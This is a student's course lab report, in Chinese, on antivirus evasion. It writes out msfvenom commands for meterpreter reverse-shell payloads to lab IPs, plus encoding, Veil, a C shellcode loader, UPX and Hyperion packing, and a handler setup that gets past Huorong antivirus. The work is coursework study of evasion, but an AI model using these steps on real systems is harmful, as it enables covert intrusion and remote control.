学号20192411 2021-2022-2 《网络与系统攻防技术》实验3实验报告
学号20192411 2021-2022-2 《网络与系统攻防技术》实验3实验报告
1.实验内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实验过程
2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
-
先用msfvenom直接生成可执行文件,检出率为52/69,接着以此为参照。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 PORT=443 -f exe > 2411.exe
-
接着用msf编码器进行一次编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.110 LPORT=443 -f exe > 2411_1.exe
检出率仍是52/69:
再用msf编码器编码10次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.110 LPORT=443 -f exe > 2411_10.exe
检出率还是没有变化:
原因:AV厂商研究的是编码器本身,只需要针对msf编码器生成的exe的固定特征检测,就可以检测出来。
-
尝试用msfvenom生成jar文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.110 PORT=443 -f jar > 2411_jar.jar
-
尝试用msfvenom生成php文件:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.110 PORT=443 x> 2411_php.php
2.1.2 veil,加壳工具
-
首先安装veil:
apt -y install veil # 问题1
-
进入veil
选择工具1Evasion:
use 1
再用list查看Available Payloads:
list
然后选择7:
use 7
接着就设置IP和端口,然后生成文件:
set LHOST 192.168.56.107 set LPORT 443 generate
根据生成的文件所在的路径就可以找到exe文件,再检测exe文件的检出率:
2.1.3 使用C + shellcode编程
-
用如下指令生成一个c语言格式的Shellcode数组:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=443 -f c
新建一个c文件,将刚刚生成的数组写入到程序:
vi 2411_Shellcode.c
编译生成的c文件:
i686-w64-mingw32-g++ 2411_Shellcode.c -o 2411_Shellcode.exe
检测刚刚编译得到的exe文件:
2.2 通过组合应用各种技术实现恶意代码免杀
-
结合C + shellcode编程、压缩壳、加密壳
生成一段C语言shellcode(上一步骤生成的是在旧的kali系统,故这里再生成一个):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.107 LPORT=443 -f c
将生成的C语言shellcode放入新建的c文件中:
再编译生成的c文件:
i686-w64-mingw32-g++ 20192411shellcode.c -o 20192411shellcode.exe
给编译生成的20192411shellcode.exe加压缩壳:
upx 20192411shellcode.exe -o 20192411shellcode_upx.exe
将加完压缩壳的20192411shellcode_upx.exe复制到/usr/share/windows-resources/hyperion中,然后给它再加一个加密壳:
wine hyperion.exe -v 20192411shellcode_upx.exe 20192411shellcode_final.exe
放到主机中,让火绒对其所在文件夹进行查杀,火绒没有发现:
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
-
生成raw文件:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 9 -b '\x00' lhost=192.168.56.107 lport=443 -f raw -o 20192411.raw
-
将生成的raw文件放到主机shellcode_launcher所在文件夹下,主机带有火绒,版本为5.0.66.3:
-
kali中进入msfconsole控制台,设置相应参数,开启监听:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.107 set LPORT 443 exploit
-
在20192411.raw所在文件夹下打开cmd,执行:
shellcode_launcher.exe -i 20192411.raw
-
监听端监听到连接,接着成功实现反弹:
3.问题及解决方案
-
问题1:veil安装时提示wine32没有可安装候选
-
问题1解决方案:更新一下软件库再安装。这期间因为源的问题和网络问题,折磨了很久🤡
apt update;apt upgrade
-
问题2:veil安装时报错:
[ERROR] Failed to run (wine) Python pip pefile … Exit code:1
-
问题2解决方案:先是搜索到Veil安装失败的解决方法 | cnlnn的垃圾堆 | 好好学习,天天向上,但多次尝试之后还是不能解决。然后尝试卸载重新安装,但仍然还是有这个报错,最后只好无奈地继续🤡(因为貌似还能正常用)
-
问题3:虚拟机空间不足
-
问题3解决方案:本来打算扩容但是由于对应盘空间不够了🤡所以就重新装了一个kali。
4.问题回答
-
杀软是如何检测出恶意代码的?
-
基于特征码
特征码可以唯一标识恶意代码,将扫描到的特征码与病毒特征库对比,如果发现吻合则判定为恶意代码。
-
启发式恶意软件
通过比较系统上层信息和取自内核的系统状态来识别隐藏的文件、进程及注册表信息,还有一些研究工作通过监控系统特定资源来识别恶意代码,可以在未知的新病毒、现有威胁的修改版本以及已知的恶意软件样本中找出可疑特征。
-
基于行为特征
通过提取恶意代码执行的行为作为特征进行检测,可避免仅针对代码的混淆方法的影响,不过无法抵御等价行为替换等行为层混淆方法的干扰。
-
-
免杀是做什么?
让病毒、木马躲避或者绕过杀毒软件查杀的技术。
-
免杀的基本方法有哪些?
-
开源免杀:指在有病毒、木马源代码的前提下,通过修改源代码进行免杀。
-
手工免杀:指在仅有病毒、木马的可执行文件(.exe)(PE文件)的情况下进行免杀。
-
文件免杀和查杀:在不运行程序的前提下使用杀毒软件进行对该程序的扫描,所得结果。
-
内存的免杀和查杀:判断的方法1》运行后,用杀毒软件的内存查杀功能。
-
用OD载入,用杀毒软件的内存查杀功能。
-
-
5.学习感悟、思考等
veil,谢谢你,因为有你,温暖了我一整天🤡
这次实验是免杀原理与实践,说白了就是为了让目标文件能够避免杀软的查杀。前期是用单一的方法来避免杀软,但可以发现检出率都没有非常大的降低;之后尝试组合方法,效果比单一方法好很多。
这次实验也算是上次实验的拓展延续。上次实验生成后门程序,但是在关闭杀软的情况下进行回弹连接等操作的。但实际情况我们需要避免杀软的查杀,这就需要这次实验的这些知识和实践。
最后,感谢王老师课上的讲解和刘老师的视频以及同学的帮助!